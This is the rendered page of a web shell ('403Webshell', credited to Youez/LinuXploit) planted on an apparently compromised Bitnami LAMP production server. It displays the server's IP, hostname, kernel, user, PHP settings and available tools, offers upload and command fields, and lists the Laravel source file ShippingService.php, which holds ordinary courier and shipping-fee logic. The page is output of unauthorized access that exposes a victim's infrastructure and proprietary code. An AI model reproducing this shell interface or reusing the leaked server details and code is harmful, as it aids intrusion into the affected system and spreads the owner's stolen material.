403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Services/ShippingService.php
<?php
namespace App\Http\Services;

use App\Models\ShippingMethod;
use App\Models\ShippingFlatRate;
use App\Models\ShippingFreeShipping;
use App\Models\ShippingWeightBased;
use App\Models\ShippingDynamicWeightBased;
use App\Models\ShippingBoxType;
use App\Models\Locker;
use App\Models\State;
use App\Models\Courier;
use App\Models\ShippingId;
use Illuminate\Database\Eloquent\Builder;
use Pylon\Exceptions\BadRequestException;

class ShippingService
{
	public function __construct(
		GeoZoneService $geoZoneService
	)
	{
		$this->geoZoneService = $geoZoneService;
	}

	public function getDeliveryPartners($locker_postcode, $delivery_postcode, $locker_id = null, $box_type_id = null)
	{
		$geo_zone_id = $this->geoZoneService->getId($locker_postcode, $delivery_postcode);

		$flat_rate = ShippingFlatRate::whereHas('activeShippingMethod')->where('geo_zone_id', $geo_zone_id)->get();
		$free_shipping = ShippingFreeShipping::whereHas('activeShippingMethod')->where('geo_zone_id', $geo_zone_id)->get();
		$weight_based = ShippingWeightBased::whereHas('activeShippingMethod')->where('geo_zone_id', $geo_zone_id)->get();
		$dynamic_weight_based = ShippingDynamicWeightBased::whereHas('activeShippingMethod')->where('geo_zone_id', $geo_zone_id)->get();
		$box_type_based = null;
		\Debugbar::info($locker_id, $box_type_id);
		if($locker_id && $box_type_id)
		{
			$locker = Locker::find($locker_id);

			if($locker)
				$box_type_based = ShippingBoxType::whereHas('activeShippingMethod')->where('box_type_id', $box_type_id)->get();
		}

		$box_type_based_courier_ids = array();
		if($box_type_based && $box_type_based->count() > 0)
		{
			foreach ($box_type_based as $key => $value) {
				$box_type_based_courier_ids = array_merge($box_type_based_courier_ids, $value->couriers()->pluck('courier_id')->toArray());
			}
		}

		$flat_rate_courier_ids = array();
		if($flat_rate->count() > 0)
		{
			foreach ($flat_rate as $key => $value) {
				$flat_rate_courier_ids = array_merge($flat_rate_courier_ids, $value->couriers()->pluck('courier_id')->toArray());
			}
		}

		$free_shipping_courier_ids = array();
		if($free_shipping->count() > 0)
		{
			foreach ($free_shipping as $key => $value) {
				$free_shipping_courier_ids= array_merge($free_shipping_courier_ids, $value->couriers()->pluck('courier_id')->toArray());
			}
		}
		$weight_based_courier_ids = array();
		if($weight_based->count() > 0)
		{
			foreach ($weight_based as $key => $value) {
				$weight_based_courier_ids = array_merge($weight_based_courier_ids, $value->couriers()->pluck('courier_id')->toArray());
			}
		}
		$dynamic_weight_based_courier_ids = array();
		if($dynamic_weight_based->count() > 0)
		{
			foreach ($dynamic_weight_based as $key => $value) {
				$dynamic_weight_based_courier_ids = array_merge($dynamic_weight_based_courier_ids, $value->couriers()->pluck('courier_id')->toArray());
			}
		}

		$courier_ids = array_merge($flat_rate_courier_ids, $free_shipping_courier_ids, $weight_based_courier_ids, $dynamic_weight_based_courier_ids, $box_type_based_courier_ids);

		return Courier::find($courier_ids)->load('image');

	}

	public function calculateShippingFee($locker_postcode, $delivery_postcode, $courier_id, $subtotal=null, $item_weight=0, $locker_id, $box_type_id)
	{
		$shipping_fee = 0;

		//Convert from KG to G
		$item_weight = $item_weight * 1000;

		$box_type_based = null;

		// if($subtotal > 0)
		// {
		$geo_zone_id = $this->geoZoneService->getId($locker_postcode, $delivery_postcode);

		// find which active shipping method available for this geo zone
		$flat_rate = ShippingFlatRate::whereHas('activeShippingMethod')->whereHas('couriers', function(Builder $q) use ($courier_id) {
			$q->where('courier_id', $courier_id);
		})->where('geo_zone_id', $geo_zone_id)->first();

		// $free_shipping = ShippingFreeShipping::whereHas('activeShippingMethod')->whereHas('couriers', function(Builder $q) use ($courier_id) {
		// 	$q->where('courier_id', $courier_id);
		// })->where('geo_zone_id', $geo_zone_id)->where('subtotal', '<=', $subtotal)->first();

		// $weight_based = ShippingWeightBased::whereHas('activeShippingMethod')->whereHas('couriers', function(Builder $q) use ($courier_id) {
		// 	$q->where('courier_id', $courier_id);
		// })->where('geo_zone_id', $geo_zone_id)->first();

		$dynamic_weight_based = ShippingDynamicWeightBased::with('weights')->whereHas('activeShippingMethod')->whereHas('couriers', function(Builder $q) use ($courier_id) {
			$q->where('courier_id', $courier_id);
		})->where('geo_zone_id', $geo_zone_id)->first();

		if($locker_id)
		{
			$locker = Locker::find($locker_id);

			if($locker)
				$box_type_based = ShippingBoxType::whereHas('activeShippingMethod')->whereHas('couriers', function(Builder $q) use ($courier_id) {
					$q->where('courier_id', $courier_id);
				})->where('box_type_id', $box_type_id)->first();
		}

		if($flat_rate)
		{
			$shipping_fee = $flat_rate->cost;
		}

		// if($weight_based && $item_weight > 0)
		// {
		// 	$product_total_shipping_fee = 0;

		// 	$product_weight = (float)$item_weight;
		// 	$product_current_shipping_fee = 0;

		// 	$product_current_shipping_fee += $weight_based->price_first_weight;
		// 	$product_weight -= $weight_based->first_weight;

		// 	while($product_weight > 0)
		// 	{
		// 		$product_current_shipping_fee += $weight_based->price_repeating_weight;
		// 		$product_weight -= $weight_based->repeating_weight;
		// 	}

		// 	$product_total_shipping_fee += $product_current_shipping_fee;
			

		// 	//additional fee
		// 	if($weight_based->additional_fee > 0)
		// 	{
		// 		$product_total_shipping_fee += ($weight_based->additional_fee/100 * $product_total_shipping_fee);
		// 	}


		// 	$shipping_fee += $product_total_shipping_fee;
		// }

		if($dynamic_weight_based && $item_weight > 0)
		{
			$product_weight = (float)$item_weight;
			$product_current_shipping_fee = 0;

			foreach ($dynamic_weight_based->weights as $weight) {
				if($product_weight > 0)
				{
					$product_current_shipping_fee += $weight->price;
					$product_weight -= $weight->weight;
				}
			}

			$shipping_fee += $product_current_shipping_fee;
		}

		if($box_type_based && !$dynamic_weight_based)
			$shipping_fee = $box_type_based->cost;

		// if($free_shipping)
		// {
		// 	$shipping_fee = 0;
		// }
		// }

		if($shipping_fee == 0 && !$dynamic_weight_based && !$box_type_based && !$flat_rate)
			throw (new BadRequestException("Invalid Delivery Partner"))
			->withErrorType('INVALID_DELIVERY_PARTNER');

		return (float)$shipping_fee;

	}

	public function getNextShippingId($prefix)
	{
		if($prefix)
		{
			$shippingId = ShippingId::wherePrefix($prefix)->first();

			if($shippingId)
			{
				$result = $shippingId->prefix . str_pad($shippingId->running_no + 1, $shippingId->zero_pad_length, '0', STR_PAD_LEFT);
				$shippingId->update([
					'running_no' => $shippingId->running_no + 1
				   ]);

				\Debugbar::info($result);
				\Debugbar::info($shippingId->running_no);
				
				return $result;
			}
		}
		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit